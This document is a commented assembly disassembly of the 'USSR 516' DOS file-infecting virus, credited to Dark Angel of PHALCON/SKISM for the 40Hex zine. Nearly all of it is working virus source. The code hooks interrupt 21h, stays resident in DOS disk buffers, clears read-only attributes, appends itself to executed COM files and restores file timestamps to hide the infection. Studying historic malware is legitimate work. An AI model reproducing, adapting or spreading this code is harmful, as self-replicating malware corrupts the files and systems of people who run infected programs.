home *** CD-ROM | disk | FTP | other *** search
-
- ussr516 segment byte public
- assume cs:ussr516, ds:ussr516
- org 100h
- ; Disassembled by Dark Angel of PHALCON/SKISM
- ; for 40Hex Number 7 Volume 2 Issue 3
- stub: db 0e9h, 0, 0
- db 0e9h, 1, 0, 0
- ; This is where the virus really begins
- start:
- push ax
- call beginvir
-
- orig4 db 0cdh, 20h, 0, 0
- int30store db 0, 0, 0, 0 ; Actually it's int 21h
- ; entry point
- int21store db 0, 0, 0, 0
-
- beginvir: pop bp ; BP -> orig4
- mov si,bp
- mov di,103h
- add di,[di-2] ; DI -> orig4
- movsw ; restore original
- movsw ; 4 bytes of program
- xor si,si
- mov ds,si
- les di,dword ptr ds:[21h*4]
- mov [bp+8],di ; int21store
- mov [bp+0Ah],es
- lds di,dword ptr ds:[30h*4+1] ; Bug????
- findmarker:
- inc di
- cmp word ptr [di-2],0E18Ah ; Find marker bytes
- jne findmarker ; to the entry point
- mov [bp+4],di ; and move to
- mov [bp+6],ds ; int30store
- mov ax,5252h ; Get list of lists
- int 21h ; and also ID check
-
- add bx,12h ; Already installed?
- jz quitvir ; then exit
- push bx
- mov ah,30h ; Get DOS version
- int 21h
-
- pop bx ; bx = 12, ptr to 1st
- ; disk buffer
- cmp al,3
- je handlebuffer ; if DOS 3
- ja handleDBHCH ; if > DOS 3
- inc bx ; DOS 2.X, offset is 13
- handlebuffer:
- push ds
- push bx
- lds bx,dword ptr [bx] ; Get seg:off of buffer
- inc si
- pop di
- pop es ; ES:DI->seg:off buff
- mov ax,[bx] ; ptr to next buffer
- cmp ax,0FFFFh ; least recently used?
- jne handlebuffer ; if not, go find it
- cmp si,3
- jbe quitvir
- stosw
- stosw
- jmp short movetobuffer
- handleDBHCH: ; Disk Buffer Hash Chain Head array
- lds si,dword ptr [bx] ; ptr to disk buffer
- lodsw ; info
- lodsw ; seg of disk buffer
- ; hash chain head array
- inc ax ; second entry
- mov ds,ax
- xor bx,bx
- mov si,bx
- lodsw ; EMS page, -1 if not
- ; in EMS
- xchg ax,di ; save in di
- lodsw ; ptr to least recently
- ; used buffer
- mov [di+2],ax ; change disk buffer
- ; backward offset to
- ; least recently used
- xchg ax,di ; restore EMS page
- mov [di],ax ; set to least recently
- movetobuffer: ; used
- mov di,bx
- push ds
- pop es ; ES:DI -> disk buffer
- push cs
- pop ds
- mov cx,108h
- lea si,[bp-4] ; Copy from start
- rep movsw
- mov ds,cx ; DS -> interrupt table
- mov word ptr ds:[4*21h],0BCh ; New interrupt handler
- mov word ptr ds:[4*21h+2],es ; at int21
- quitvir:
- push cs ; CS = DS = ES
- pop es
- push es
- pop ds
- pop ax
- mov bx,ax
- mov si, 100h ; set up stack for
- push si ; the return to the
- retn ; original program
- int24:
- mov al,3 ; Ignore all errors
- iret
- tickstore db 3 ; Why???
- buffer db 3, 0, 9, 0
-
- int21:
- pushf
- cli ; CP/M style call entry
- call dword ptr cs:[int30store-start]
- retn ; point of int 21h
-
- int21DSDX: ; For int 21h calls
- push ds ; with
- lds dx,dword ptr [bp+2] ; DS:DX -> filename
- call int21
- pop ds
- retn
-
- cmp ax,4B00h ; Execute
- je Execute
- cmp ax,5252h ; ID check
- je CheckID
- cmp ah,30h ; DOS Version
- je DosVersion
- callorig21: ; Do other calls
- jmp dword ptr cs:[int21store-start]
- DosVersion: ; Why????? ; DOS Version
- dec byte ptr cs:[tickstore-start]
- jnz callorig21 ; Continue if not 0
- push es
- xor ax,ax
- push ax
- mov es,ax
- mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
- ; since midnight
- and al,7 ; MOD 15
- inc ax
- inc ax
- mov cs:[tickstore-start],al ; # 2-17
- pop ax
- pop es
- iret
- CheckID: ; ID Check
- mov bx,0FFEEh ; FFEEh = -12h
- iret
- Execute: ; Execute
- push ax ; Save registers
- push cx
- push es
- push bx
- push ds ; DS:DX -> filename
- push dx ; save it on stack
- push bp
- mov bp,sp ; Set up stack frame
- sub sp,0Ah ; Temporary variables
- ; [bp-A] = attributes
- ; [bp-8] = int 24 off
- ; [bp-6] = int 24 seg
- ; [bp-4] = file time
- ; [bp-2] = file date
- sti
- push cs
- pop ds
- mov ax,3301h ; Turn off ^C check
- xor dl,dl ; (never turn it back
- call int21 ; on. Bug???)
- mov ax,3524h ; Get int 24h
- call int21 ; (Critical error)
- mov [bp-8],bx
- mov [bp-6],es
- mov dx,int24-start
- mov ax,2524h ; Set to new one
- call int21
- mov ax,4300h ; Get attributes
- call int21DSDX
- jnc continue
- doneinfect:
- mov ax,2524h ; Restore crit error
- lds dx,dword ptr [bp-8] ; handler
- call int21
- cli
- mov sp,bp
- pop bp
- pop dx
- pop ds
- pop bx
- pop es
- pop cx
- pop ax
- jmp short callorig21 ; Call orig handler
- continue:
- mov [bp-0Ah],cx ; Save attributes
- test cl,1 ; Check if r/o????
- jz noclearattr
- xor cx,cx
- mov ax,4301h ; Clear attributes
- call int21DSDX ; Filename in DS:DX
- jc doneinfect ; Quit on error
- noclearattr:
- mov ax,3D02h ; Open read/write
- call int21DSDX ; Filename in DS:DX
- jc doneinfect ; Exit if error
- mov bx,ax
- mov ax,5700h ; Save time/date
- call int21
- mov [bp-4],cx
- mov [bp-2],dx
- mov dx,buffer-start
- mov cx,4
- mov ah,3Fh ; Read 4 bytes to
- call int21 ; buffer
- jc quitinf
- cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
- jne quitinf ; Otherwise, quit
- mov dx,word ptr ds:[buffer+1-start]; dx = jmploc
- dec dx
- xor cx,cx
- mov ax,4201h ; go there
- call int21
- mov ds:[buffer-start],ax ; new location offset
- mov dx,orig4-start
- mov cx,4
- mov ah,3Fh ; Read 4 bytes there
- call int21
- mov dx,ds:[orig4-start]
- cmp dl,0E9h ; 0E9h means we might
- jne infect ; already be there
- mov ax,ds:[orig4+2-start] ; continue checking
- add al,dh ; to see if we really
- sub al,ah ; are there.
- jz quitinf
- infect:
- xor cx,cx
- mov dx,cx
- mov ax,4202h ; Go to EOF
- call int21
- mov ds:[buffer+2-start],ax ; save filesize
- mov cx,204h
- mov ah,40h ; Write virus
- call int21
- jc quitinf ; Exit if error
- sub cx,ax
- jnz quitinf
- mov dx,ds:[buffer-start]
- mov ax,ds:[buffer+2-start]
- sub ax,dx
- sub ax,3 ; AX->jmp offset
- mov word ptr ds:[buffer+1-start],ax; Set up buffer
- mov byte ptr ds:[buffer-start],0E9h; code the jmp
- add al,ah
- mov byte ptr ds:[buffer+3-start],al
- mov ax,4200h ; Rewind to jmploc
- call int21
- mov dx, buffer-start
- mov cx,4 ; Write in the jmp
- mov ah,40h
- call int21
- quitinf:
- mov cx,[bp-4]
- mov dx,[bp-2]
- mov ax,5701h ; Restore date/time
- call int21
- mov ah,3Eh ; Close file
- call int21
- mov cx,[bp-0Ah] ; Restore attributes
- mov ax,4301h
- call int21DSDX
- jmp doneinfect ; Return
- ussr516 ends
- end stub
-